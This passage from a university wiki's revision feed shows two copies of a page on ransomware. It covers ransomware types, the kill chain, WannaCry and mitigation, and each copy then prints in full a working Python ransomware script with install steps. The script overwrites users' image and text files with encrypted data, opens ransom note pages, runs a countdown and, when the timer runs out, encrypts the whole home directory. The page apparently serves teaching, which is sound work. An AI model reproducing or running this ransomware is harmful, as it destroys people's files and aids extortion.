&lt;br /&gt;
=== Securing Networks and Systems before an attack ===&lt;br /&gt;
&lt;br /&gt;
A “Prevention is better than cure” approach includes:&lt;br /&gt;
* Incident Response Plan&lt;br /&gt;
* Backups&lt;br /&gt;
* Antivirus Solutions&lt;br /&gt;
* Disable Macros scripts&lt;br /&gt;
* Keeping Systems up to date&lt;br /&gt;
* Restricted Network Access&lt;br /&gt;
&lt;br /&gt;
=== Securing Networks and Systems during an attack ===&lt;br /&gt;
&lt;br /&gt;
* Act Immediately&lt;br /&gt;
* Perform an Attack Analysis&lt;br /&gt;
* Determine if a decryptor is available&lt;br /&gt;
* Restore from a previous snapshot or backup&lt;br /&gt;
* Report the infection&lt;br /&gt;
&lt;br /&gt;
== Python Based CGR ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Summary ===&lt;br /&gt;
&lt;br /&gt;
This section demonstrates how to create a simple CGR in python. Instead of using standard AES for encryption, this application uses a Fernet key due to its simplicity. Fernet keys use a combination of two smaller keys:&lt;br /&gt;
* A 128 bit AES encryption key&lt;br /&gt;
* A 128 bit SHA256 signing key&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: Ubuntu 18.04 bionic amd64&lt;br /&gt;
* Packages and Software: VMware Workstation Pro 12.x, Python 3.x, Anaconda Navigator, Atom IDE&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Install Python 3.x and Anaconda Navigator. Clone the project from the github page: https://github.com/Mwape1997/AKITS_Ransomware.git&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Main Secion of the Code ===&lt;br /&gt;
&lt;br /&gt;
  import os&lt;br /&gt;
  import webbrowser&lt;br /&gt;
  from os.path import expanduser&lt;br /&gt;
  from cryptography.fernet import Fernet #fernet keys have two smaller keys, a 128 bit AES key and a 128 bit SHA256 signing key&lt;br /&gt;
  import tkinter as tk&lt;br /&gt;
  from PIL import ImageTk, Image&lt;br /&gt;
  from multiprocessing import Process&lt;br /&gt;
  from threading import Thread&lt;br /&gt;
  import time&lt;br /&gt;
  from pathlib import Path&lt;br /&gt;
&lt;br /&gt;
  #Welcome to Somali FBI Ransomware! To start encryption:&lt;br /&gt;
  #python3 ransom.py --action encrypt&lt;br /&gt;
  #To decrypt files:&lt;br /&gt;
  #python3 ransom.py --action decrypt --keyfile ./path/to/keyfile&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
  root = tk.Tk()&lt;br /&gt;
  root.title(&#039;Terminal&#039;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
  # root2 = tk.Tk()&lt;br /&gt;
  # root2.title(&#039;FBI SOMALIA ALERT!&#039;)&lt;br /&gt;
  # root.wm_attributes(&#039;-fullscreen&#039;, &#039;true&#039;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
  class Malware(object):&lt;br /&gt;
&lt;br /&gt;
      def __init__(self):&lt;br /&gt;
          self.key = None  # key to encrypt the files&lt;br /&gt;
          self.cryptor = None  # The encryptor&lt;br /&gt;
          self.file_ext_targets = [&#039;jpg&#039;, &#039;txt&#039;, &#039;png&#039; &#039;zip&#039;]  # our ransomware will encrypt txt files&lt;br /&gt;
          self.my_file = Path(&amp;quot;~/Desktop/MENSA.txt&amp;quot;)  # the system will look for this file before starting the decryption process.&lt;br /&gt;
          self.flag = 0&lt;br /&gt;
          self.time = 1000000&lt;br /&gt;
&lt;br /&gt;
      def mainscreen(self):&lt;br /&gt;
          termf = tk.Frame(root, height=400, width=500)&lt;br /&gt;
          w = tk.Label(root, text=&amp;quot;Something went wrong...&amp;quot;)&lt;br /&gt;
          button = tk.Button(text=&#039;Close&#039;, command=self.quitApp).pack()&lt;br /&gt;
          w.pack()&lt;br /&gt;
          root.mainloop()&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
          #This is a method that generates a key to unlock files and pass it to the crypter&lt;br /&gt;
          #verifies the key for decryption&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def quitApp(self):&lt;br /&gt;
          root.destroy()&lt;br /&gt;
          ransom.writeKey(&amp;quot;keyfile&amp;quot;)&lt;br /&gt;
          ransom.encryptRoot(local_root)&lt;br /&gt;
&lt;br /&gt;
          # canvas.delete()&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
               self.root2 = tk.Tk()&lt;br /&gt;
          #self.root2.wm_attributes(&#039;-fullscreen&#039;, &#039;true&#039;)&lt;br /&gt;
          #self.canvas = tk.Canvas(self.root2, width=1366, height=800)&lt;br /&gt;
          #self.img = tk.PhotoImage(file=&amp;quot;data/FBI.PNG&amp;quot;)&lt;br /&gt;
          #self.canvas.create_image(20, 20, anchor=tk.NW, image=self.img)&lt;br /&gt;
          #self.canv as.pack()&lt;br /&gt;
          #root2.mainloop()&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
          self.tick(30)&lt;br /&gt;
&lt;br /&gt;
      def tick(self, t):&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
          while t:&lt;br /&gt;
              os.system(&#039;sh mi6.sh&#039;)  #shell script to change the background is run constantly&lt;br /&gt;
&lt;br /&gt;
              if self.flag == 0:&lt;br /&gt;
                  time.sleep(5)&lt;br /&gt;
                  self.note = webbrowser.open(&#039;file://&#039; + os.path.realpath(&#039;note.html&#039;))  #Ransomware not is generated&lt;br /&gt;
                  self.flag += 1&lt;br /&gt;
&lt;br /&gt;
              mins, secs = divmod(t, 60)&lt;br /&gt;
              timer = &#039;{:02d}:{:02d}&#039;.format(mins, secs)&lt;br /&gt;
              print(timer, end=&amp;quot;\r&amp;quot;)&lt;br /&gt;
              time.sleep(1)&lt;br /&gt;
              if self.my_file.is_file():&lt;br /&gt;
                  webbrowser.open(&#039;file://&#039; + os.path.realpath(&#039;success.html&#039;))   #Once the the ransom is payed, the success page is displayed&lt;br /&gt;
                  ransom.readKey(&#039;keyfile&#039;)&lt;br /&gt;
                  ransom.encryptRoot(local_root, encrypted=True)&lt;br /&gt;
                  break&lt;br /&gt;
&lt;br /&gt;
              t -= 1&lt;br /&gt;
&lt;br /&gt;
          if t == 0 and not self.my_file.is_file():&lt;br /&gt;
              webbrowser.open(&#039;file://&#039; + os.path.realpath(&#039;fail.html&#039;))  #If timer runs out and there are no ransom paid, fail page is displayed&lt;br /&gt;
              sys_root = expanduser(&amp;quot;~&amp;quot;)  #set new encryption directory to the root&lt;br /&gt;
              ransom.generateKey()    #generate a key&lt;br /&gt;
              ransom.writeKey(&amp;quot;keyfile&amp;quot;) #write a key&lt;br /&gt;
              ransom.encryptRoot(sys_root)    #start the encryption process&lt;br /&gt;
&lt;br /&gt;
      def generateKey(self):&lt;br /&gt;
          self.key = Fernet.generate_key()&lt;br /&gt;
          self.cryptor = Fernet(self.key)&lt;br /&gt;
&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
          read the key for decryption&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def readKey(self, keyfileName):&lt;br /&gt;
&lt;br /&gt;
          with open(keyfileName, &amp;quot;rb&amp;quot;) as f:&lt;br /&gt;
              self.key = f.read()&lt;br /&gt;
              self.cryptor = Fernet(self.key)&lt;br /&gt;
&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
      #Save decryption key to a file&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def writeKey(self, keyFileName):&lt;br /&gt;
          print(self.key)&lt;br /&gt;
          with open(keyFileName, &amp;quot;wb&amp;quot;) as f:&lt;br /&gt;
              f.write(self.key)&lt;br /&gt;
&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
      encrypt or decrypt files from root directory&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def encryptRoot(self, rootDir, encrypted=False):&lt;br /&gt;
          for root, _, files in os.walk(rootDir):&lt;br /&gt;
              for f in files:&lt;br /&gt;
                  abs_files_path = os.path.join(root, f)&lt;br /&gt;
                  # pass if no target files is present in current folder&lt;br /&gt;
                  if not abs_files_path.split(&amp;quot;.&amp;quot;)[-1] in self.file_ext_targets:&lt;br /&gt;
                      continue&lt;br /&gt;
                  self.encryptFile(abs_files_path, encrypted=encrypted)&lt;br /&gt;
&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
      encrypt and decrypt files&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def encryptFile(self, filePath, encrypted=False):&lt;br /&gt;
          with open(filePath, &amp;quot;rb+&amp;quot;) as f:&lt;br /&gt;
              _data = f.read()&lt;br /&gt;
              if not encrypted:&lt;br /&gt;
                  # perform encryption&lt;br /&gt;
                  print()&lt;br /&gt;
                  print(f&amp;quot;File Contents before encryption: {_data}&amp;quot;)&lt;br /&gt;
                  data = self.cryptor.encrypt(_data)&lt;br /&gt;
                  print(f&amp;quot;File contents after encryption: {data}&amp;quot;)&lt;br /&gt;
              else:&lt;br /&gt;
                  # decrypt&lt;br /&gt;
                  data = self.cryptor.decrypt(_data)&lt;br /&gt;
                  print(f&amp;quot;File content before encryption: {data}&amp;quot;)&lt;br /&gt;
              f.seek(0)&lt;br /&gt;
              f.write(data)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
  if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
      # sys_root = expanduser(&amp;quot;~&amp;quot;)    # Use to encrypt every folder from root&lt;br /&gt;
      local_root = expanduser(&amp;quot;~/Downloads&amp;quot;)  # Use to encrypt specific folder&lt;br /&gt;
&lt;br /&gt;
      import argparse&lt;br /&gt;
&lt;br /&gt;
      parser = argparse.ArgumentParser()&lt;br /&gt;
      parser.add_argument(&amp;quot;--action&amp;quot;, required=True)&lt;br /&gt;
      parser.add_argument(&amp;quot;--keyfile&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
      args = parser.parse_args()&lt;br /&gt;
      action = args.action.lower()&lt;br /&gt;
      keyfile = args.keyfile&lt;br /&gt;
&lt;br /&gt;
      ransom = Malware()&lt;br /&gt;
&lt;br /&gt;
      if action == &amp;quot;decrypt&amp;quot;:&lt;br /&gt;
          if keyfile is None:&lt;br /&gt;
              print(&amp;quot;Path to keyfile must be specified after --keyfile for decryption&amp;quot;)&lt;br /&gt;
          else:&lt;br /&gt;
              ransom.readKey(keyfile)&lt;br /&gt;
              ransom.encryptRoot(local_root, encrypted=True)&lt;br /&gt;
      elif action == &amp;quot;encrypt&amp;quot;:&lt;br /&gt;
          Thread(target=ransom.generateKey()).start()&lt;br /&gt;
          Thread(target=ransom.mainscreen()).start()&lt;br /&gt;
          # ransom.tick()&lt;br /&gt;
          # ransom.canvas.after(1, ransom.tick())&lt;br /&gt;
          # ransom.root2.mainloop()&lt;br /&gt;
&lt;br /&gt;
          # ransom.generateKey()&lt;br /&gt;
&lt;br /&gt;
  # python3 ransom.py --action encrypt&lt;br /&gt;
  # python3 ransom.py --action decrypt --keyfile ./path/to/keyfile&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* A. Chuquilla, T. Guarda and G. Ninahualpa Quiña, &amp;quot;Ransomware -&lt;br /&gt;
WannaCry Security is everyone&#039;s,&amp;quot; 2019 14th Iberian Conference on&lt;br /&gt;
Information Systems and Technologies (CISTI), Coimbra, Portugal,&lt;br /&gt;
2019, pp. 1-4, doi: 10.23919/CISTI.2019.8760749&lt;br /&gt;
&lt;br /&gt;
* Gonzalez, D. and Hayajneh, T., n.d. Detection And Prevention Of Crypto-Ransomware.&lt;br /&gt;
&lt;br /&gt;
[[Category:Basics]]&lt;/div&gt;</summary>
		<author><name>MChintu</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Ransomware&amp;diff=5321</id>
		<title>Ransomware</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Ransomware&amp;diff=5321"/>
		<updated>2020-12-20T18:18:16Z</updated>

		<summary type="html">&lt;p&gt;MChintu: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction to Ransomware ==&lt;br /&gt;
&lt;br /&gt;
Ransomware is a type of malware that takes control over a victim‘s PC in an attempt to extort money (bitcoins).&lt;br /&gt;
Modern day state of the art Ransomwares (which are Cryptographic) use AES-256 to encrypt files and require payment for decryption.&lt;br /&gt;
It is typically attained from deceptive email links or websites. Currently, there are two types of ransomwares: Cryptographic Non-Cryptographic based.&lt;br /&gt;
&lt;br /&gt;
== Role of Cryptography in Ransomware ==&lt;br /&gt;
&lt;br /&gt;
Malware / Ransomware use cryptography in order to hide its own code so that antivirus or security researchers cannot identify the actual code easily, communicate with its own command and control (C&amp;amp;C) Server and to encrypt the files on the victim machine.&lt;br /&gt;
&lt;br /&gt;
A cryptographic system can have the following components:&lt;br /&gt;
* Plaintext&lt;br /&gt;
* Encryption key&lt;br /&gt;
* Ciphertext, which is the encrypted text&lt;br /&gt;
* Encryption algorithm, also called cipher&lt;br /&gt;
* Decryption algorithm&lt;br /&gt;
* There are two types of cryptographic algorithms based on the kind of key used:&lt;br /&gt;
* Symmetric&lt;br /&gt;
* Asymmetric&lt;br /&gt;
&lt;br /&gt;
Advanced Encryption Standard (AES), the most used encryption algorithm in ransomwares uses a symmetric key. More advanced CGRs use a combation of both Symmetric and Asymmetric Keys (CryptoLocker is known to use both a symmetric key and an asymmetric key RSA)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:Picture1.png|500px|thumb|right| Symmetric key exchange]]&lt;br /&gt;
&lt;br /&gt;
== Cryptographic Ransomware (CGR) ==&lt;br /&gt;
&lt;br /&gt;
Cryptographic Ransomware (CGR) encrypts the files of the victim‘s device using „Strong Cryptographic“ Methods. These are methods that are considered highly resistant to cryptanalysis. The victim is informed of the encryption during an attack. A Timer is another component of the attack that is used to give the victim the feeling of urgency&lt;br /&gt;
Main currency used for paying the ransom is Bitcoin because it is:&lt;br /&gt;
* Anonymous&lt;br /&gt;
* Difficult to track&lt;br /&gt;
* Transactions irreversible&lt;br /&gt;
&lt;br /&gt;
CGR is not just one ransomware, but a family of malware that behave in a similar way&lt;br /&gt;
Most common CGRs are:&lt;br /&gt;
* Jigsaw&lt;br /&gt;
* WannaCry&lt;br /&gt;
* Crypto Locker&lt;br /&gt;
* Police Ransomware&lt;br /&gt;
* Dirty Decrypt&lt;br /&gt;
* Torrent Locker&lt;br /&gt;
* Batch file Ransomware&lt;br /&gt;
* CryptoWall&lt;br /&gt;
&lt;br /&gt;
=== Crypto Locker ===&lt;br /&gt;
&lt;br /&gt;
CryptoLocker comes is a plethora of different forms, one of which the Torrent Locker ransomware. The standard variant Uses the advanced encryption standard AES-128 cryptosystem to encrypt the data on the host machine. In the latter variant, Torrent Locker, on the other hand, encrypts users’s files with the most advanced encryption standard implementation AES-256-CBC. AES 128 uses 10 rounds while AES 256 uses 14 rounds. The higher the number of rounds, the more complex the encryption and is therefore the reason why Torrent Locker is more ”secure”.&lt;br /&gt;
&lt;br /&gt;
== Non-Cryptographic Ransomware (NCR) ==&lt;br /&gt;
&lt;br /&gt;
NCRs unlike CGRs Do not use any encryption and are applications that are designed to restrict computer interaction by locking screen or modifying Master Boot Record (MBR). It&#039;s for this reason that Sometimes refered to as scareware. They are relatively weak compared to CGR.&lt;br /&gt;
Examples of NCR include:&lt;br /&gt;
* WinLocker&lt;br /&gt;
* Reveton&lt;br /&gt;
&lt;br /&gt;
== Ransomware Kill-Chain ==&lt;br /&gt;
&lt;br /&gt;
[[File:Picture2.png|1000px|thumb|center| Ransomware Kill Chain]]&lt;br /&gt;
&lt;br /&gt;
* Distribution campaign – attackers use techniques like social engineering and weaponized websites to trick or force users to download a dropper which kicks off the infection&lt;br /&gt;
* Malicious code infection – the dropper downloads an executable which installs the ransomware itself&lt;br /&gt;
* Malicious payload staging – the ransomware sets up, embeds itself in a system, and establishes persistency to exist beyond a reboot&lt;br /&gt;
* Scanning – the ransomware searches for content to encrypt, both on the local computer and the network accessible resources&lt;br /&gt;
* Encryption – the discovered files are encrypted&lt;br /&gt;
* Payday – a ransom note is generated, shown to the victim, and the hacker waits to collect on the ransom&lt;br /&gt;
&lt;br /&gt;
=== Encryption Kill-Chain stage ===&lt;br /&gt;
&lt;br /&gt;
* Upon Infection, Cryptolocker connects to C&amp;amp;C and requests a public key&lt;br /&gt;
* RSA public and secret key pair is generated for the victim machine&lt;br /&gt;
* Public Key sent to the victim machine, Secret Key stays with C&amp;amp;C&lt;br /&gt;
* Ransomware generates AES Symmetric key for file encryption&lt;br /&gt;
* Encrypt the AES key with the RSA public key&lt;br /&gt;
* In order to decrypt files, AES key must be decrypted with private key in the C&amp;amp;C server.&lt;br /&gt;
&lt;br /&gt;
== Tools for Reverse Engineering and WannaCry ==&lt;br /&gt;
&lt;br /&gt;
First seen in 2017, WannaCry Ransomware has a series of elements. It enters victim in the form of a „dropper“ which contains an executable that encrypts and decrypts files, a copy of Tor Browser and the Encryption Keys (Kill Switch). It is timed like Jigsaw Ransomware and should the victim fails to pay on time, all files are deleted including the encryption key. The ransomware demands 0.025 bitcoin ransom but can be much more for corperations&lt;br /&gt;
&lt;br /&gt;
=== GHIDRA ===&lt;br /&gt;
&lt;br /&gt;
Ghidra is a software reverse engineering (SRE) suite of tools developed by NSA&#039;s Research Directorate in support of the Cybersecurity mission.&lt;br /&gt;
&lt;br /&gt;
[[File:Picture3.png|200px|thumb|right| Ghidra open source software]]&lt;br /&gt;
[[File:Picture4.png|500px|thumb|center| Ghidra being used to reverse engineer WannaCry]]&lt;br /&gt;
&lt;br /&gt;
== Mitigation ==&lt;br /&gt;
&lt;br /&gt;
=== Securing Networks and Systems before an attack ===&lt;br /&gt;
&lt;br /&gt;
A “Prevention is better than cure” approach includes:&lt;br /&gt;
* Incident Response Plan&lt;br /&gt;
* Backups&lt;br /&gt;
* Antivirus Solutions&lt;br /&gt;
* Disable Macros scripts&lt;br /&gt;
* Keeping Systems up to date&lt;br /&gt;
* Restricted Network Access&lt;br /&gt;
&lt;br /&gt;
=== Securing Networks and Systems during an attack ===&lt;br /&gt;
&lt;br /&gt;
* Act Immediately&lt;br /&gt;
* Perform an Attack Analysis&lt;br /&gt;
* Determine if a decryptor is available&lt;br /&gt;
* Restore from a previous snapshot or backup&lt;br /&gt;
* Report the infection&lt;br /&gt;
&lt;br /&gt;
== Python Based CGR ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Summary ===&lt;br /&gt;
&lt;br /&gt;
This section demonstrates how to create a simple CGR in python. Instead of using standard AES for encryption, this application uses a Fernet key due to its simplicity. Fernet keys use a combination of two smaller keys:&lt;br /&gt;
* A 128 bit AES encryption key&lt;br /&gt;
* A 128 bit SHA256 signing key&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: Ubuntu 18.04 bionic amd64&lt;br /&gt;
* Packages and Software: VMware Workstation Pro 12.x, Python 3.x, Anaconda Navigator, Atom IDE&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Install Python 3.x and Anaconda Navigator. Clone the project from the github page: https://github.com/Mwape1997/AKITS_Ransomware.git&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Main Secion of the Code ===&lt;br /&gt;
&lt;br /&gt;
  import os&lt;br /&gt;
  import webbrowser&lt;br /&gt;
  from os.path import expanduser&lt;br /&gt;
  from cryptography.fernet import Fernet #fernet keys have two smaller keys, a 128 bit AES key and a 128 bit SHA256 signing key&lt;br /&gt;
  import tkinter as tk&lt;br /&gt;
  from PIL import ImageTk, Image&lt;br /&gt;
  from multiprocessing import Process&lt;br /&gt;
  from threading import Thread&lt;br /&gt;
  import time&lt;br /&gt;
  from pathlib import Path&lt;br /&gt;
&lt;br /&gt;
  #Welcome to Somali FBI Ransomware! To start encryption:&lt;br /&gt;
  #python3 ransom.py --action encrypt&lt;br /&gt;
  #To decrypt files:&lt;br /&gt;
  #python3 ransom.py --action decrypt --keyfile ./path/to/keyfile&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
  root = tk.Tk()&lt;br /&gt;
  root.title(&#039;Terminal&#039;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
  # root2 = tk.Tk()&lt;br /&gt;
  # root2.title(&#039;FBI SOMALIA ALERT!&#039;)&lt;br /&gt;
  # root.wm_attributes(&#039;-fullscreen&#039;, &#039;true&#039;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
  class Malware(object):&lt;br /&gt;
&lt;br /&gt;
      def __init__(self):&lt;br /&gt;
          self.key = None  # key to encrypt the files&lt;br /&gt;
          self.cryptor = None  # The encryptor&lt;br /&gt;
          self.file_ext_targets = [&#039;jpg&#039;, &#039;txt&#039;, &#039;png&#039; &#039;zip&#039;]  # our ransomware will encrypt txt files&lt;br /&gt;
          self.my_file = Path(&amp;quot;~/Desktop/MENSA.txt&amp;quot;)  # the system will look for this file before starting the decryption process.&lt;br /&gt;
          self.flag = 0&lt;br /&gt;
          self.time = 1000000&lt;br /&gt;
&lt;br /&gt;
      def mainscreen(self):&lt;br /&gt;
          termf = tk.Frame(root, height=400, width=500)&lt;br /&gt;
          w = tk.Label(root, text=&amp;quot;Something went wrong...&amp;quot;)&lt;br /&gt;
          button = tk.Button(text=&#039;Close&#039;, command=self.quitApp).pack()&lt;br /&gt;
          w.pack()&lt;br /&gt;
          root.mainloop()&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
          #This is a method that generates a key to unlock files and pass it to the crypter&lt;br /&gt;
          #verifies the key for decryption&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def quitApp(self):&lt;br /&gt;
          root.destroy()&lt;br /&gt;
          ransom.writeKey(&amp;quot;keyfile&amp;quot;)&lt;br /&gt;
          ransom.encryptRoot(local_root)&lt;br /&gt;
&lt;br /&gt;
          # canvas.delete()&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
               self.root2 = tk.Tk()&lt;br /&gt;
          #self.root2.wm_attributes(&#039;-fullscreen&#039;, &#039;true&#039;)&lt;br /&gt;
          #self.canvas = tk.Canvas(self.root2, width=1366, height=800)&lt;br /&gt;
          #self.img = tk.PhotoImage(file=&amp;quot;data/FBI.PNG&amp;quot;)&lt;br /&gt;
          #self.canvas.create_image(20, 20, anchor=tk.NW, image=self.img)&lt;br /&gt;
          #self.canv as.pack()&lt;br /&gt;
          #root2.mainloop()&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
          self.tick(30)&lt;br /&gt;
&lt;br /&gt;
      def tick(self, t):&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
          while t:&lt;br /&gt;
              os.system(&#039;sh mi6.sh&#039;)  #shell script to change the background is run constantly&lt;br /&gt;
&lt;br /&gt;
              if self.flag == 0:&lt;br /&gt;
                  time.sleep(5)&lt;br /&gt;
                  self.note = webbrowser.open(&#039;file://&#039; + os.path.realpath(&#039;note.html&#039;))  #Ransomware not is generated&lt;br /&gt;
                  self.flag += 1&lt;br /&gt;
&lt;br /&gt;
              mins, secs = divmod(t, 60)&lt;br /&gt;
              timer = &#039;{:02d}:{:02d}&#039;.format(mins, secs)&lt;br /&gt;
              print(timer, end=&amp;quot;\r&amp;quot;)&lt;br /&gt;
              time.sleep(1)&lt;br /&gt;
              if self.my_file.is_file():&lt;br /&gt;
                  webbrowser.open(&#039;file://&#039; + os.path.realpath(&#039;success.html&#039;))   #Once the the ransom is payed, the success page is displayed&lt;br /&gt;
                  ransom.readKey(&#039;keyfile&#039;)&lt;br /&gt;
                  ransom.encryptRoot(local_root, encrypted=True)&lt;br /&gt;
                  break&lt;br /&gt;
&lt;br /&gt;
              t -= 1&lt;br /&gt;
&lt;br /&gt;
          if t == 0 and not self.my_file.is_file():&lt;br /&gt;
              webbrowser.open(&#039;file://&#039; + os.path.realpath(&#039;fail.html&#039;))  #If timer runs out and there are no ransom paid, fail page is displayed&lt;br /&gt;
              sys_root = expanduser(&amp;quot;~&amp;quot;)  #set new encryption directory to the root&lt;br /&gt;
              ransom.generateKey()    #generate a key&lt;br /&gt;
              ransom.writeKey(&amp;quot;keyfile&amp;quot;) #write a key&lt;br /&gt;
              ransom.encryptRoot(sys_root)    #start the encryption process&lt;br /&gt;
&lt;br /&gt;
      def generateKey(self):&lt;br /&gt;
          self.key = Fernet.generate_key()&lt;br /&gt;
          self.cryptor = Fernet(self.key)&lt;br /&gt;
&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
          read the key for decryption&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def readKey(self, keyfileName):&lt;br /&gt;
&lt;br /&gt;
          with open(keyfileName, &amp;quot;rb&amp;quot;) as f:&lt;br /&gt;
              self.key = f.read()&lt;br /&gt;
              self.cryptor = Fernet(self.key)&lt;br /&gt;
&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
      #Save decryption key to a file&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def writeKey(self, keyFileName):&lt;br /&gt;
          print(self.key)&lt;br /&gt;
          with open(keyFileName, &amp;quot;wb&amp;quot;) as f:&lt;br /&gt;
              f.write(self.key)&lt;br /&gt;
&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
      encrypt or decrypt files from root directory&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def encryptRoot(self, rootDir, encrypted=False):&lt;br /&gt;
          for root, _, files in os.walk(rootDir):&lt;br /&gt;
              for f in files:&lt;br /&gt;
                  abs_files_path = os.path.join(root, f)&lt;br /&gt;
                  # pass if no target files is present in current folder&lt;br /&gt;
                  if not abs_files_path.split(&amp;quot;.&amp;quot;)[-1] in self.file_ext_targets:&lt;br /&gt;
                      continue&lt;br /&gt;
                  self.encryptFile(abs_files_path, encrypted=encrypted)&lt;br /&gt;
&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
      encrypt and decrypt files&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def encryptFile(self, filePath, encrypted=False):&lt;br /&gt;
          with open(filePath, &amp;quot;rb+&amp;quot;) as f:&lt;br /&gt;
              _data = f.read()&lt;br /&gt;
              if not encrypted:&lt;br /&gt;
                  # perform encryption&lt;br /&gt;
                  print()&lt;br /&gt;
                  print(f&amp;quot;File Contents before encryption: {_data}&amp;quot;)&lt;br /&gt;
                  data = self.cryptor.encrypt(_data)&lt;br /&gt;
                  print(f&amp;quot;File contents after encryption: {data}&amp;quot;)&lt;br /&gt;
              else:&lt;br /&gt;
                  # decrypt&lt;br /&gt;
                  data = self.cryptor.decrypt(_data)&lt;br /&gt;
                  print(f&amp;quot;File content before encryption: {data}&amp;quot;)&lt;br /&gt;
              f.seek(0)&lt;br /&gt;
              f.write(data)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
  if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
      # sys_root = expanduser(&amp;quot;~&amp;quot;)    # Use to encrypt every folder from root&lt;br /&gt;
      local_root = expanduser(&amp;quot;~/Downloads&amp;quot;)  # Use to encrypt specific folder&lt;br /&gt;
&lt;br /&gt;
      import argparse&lt;br /&gt;
&lt;br /&gt;
      parser = argparse.ArgumentParser()&lt;br /&gt;
      parser.add_argument(&amp;quot;--action&amp;quot;, required=True)&lt;br /&gt;
      parser.add_argument(&amp;quot;--keyfile&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
      args = parser.parse_args()&lt;br /&gt;
      action = args.action.lower()&lt;br /&gt;
      keyfile = args.keyfile&lt;br /&gt;
&lt;br /&gt;
      ransom = Malware()&lt;br /&gt;
&lt;br /&gt;
      if action == &amp;quot;decrypt&amp;quot;:&lt;br /&gt;
          if keyfile is None:&lt;br /&gt;
              print(&amp;quot;Path to keyfile must be specified after --keyfile for decryption&amp;quot;)&lt;br /&gt;
          else:&lt;br /&gt;
              ransom.readKey(keyfile)&lt;br /&gt;
              ransom.encryptRoot(local_root, encrypted=True)&lt;br /&gt;
      elif action == &amp;quot;encrypt&amp;quot;:&lt;br /&gt;
          Thread(target=ransom.generateKey()).start()&lt;br /&gt;
          Thread(target=ransom.mainscreen()).start()&lt;br /&gt;
          # ransom.tick()&lt;br /&gt;
          # ransom.canvas.after(1, ransom.tick())&lt;br /&gt;
          # ransom.root2.mainloop()&lt;br /&gt;
&lt;br /&gt;
          # ransom.generateKey()&lt;br /&gt;
&lt;br /&gt;
  # python3 ransom.py --action encrypt&lt;br /&gt;
  # python3 ransom.py --action decrypt --keyfile ./path/to/keyfile&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* A. Chuquilla, T. Guarda and G. Ninahualpa Quiña, &amp;quot;Ransomware -&lt;br /&gt;
WannaCry Security is everyone&#039;s,&amp;quot; 2019 14th Iberian Conference on&lt;br /&gt;
Information Systems and Technologies (CISTI), Coimbra, Portugal,&lt;br /&gt;
2019, pp. 1-4, doi: 10.23919/CISTI.2019.8760749&lt;br /&gt;
&lt;br /&gt;
* Gonzalez, D. and Hayajneh, T., n.d. Detection And Prevention Of Crypto-Ransomware.&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>MChintu</name></author>
	</entry>
	<entry>
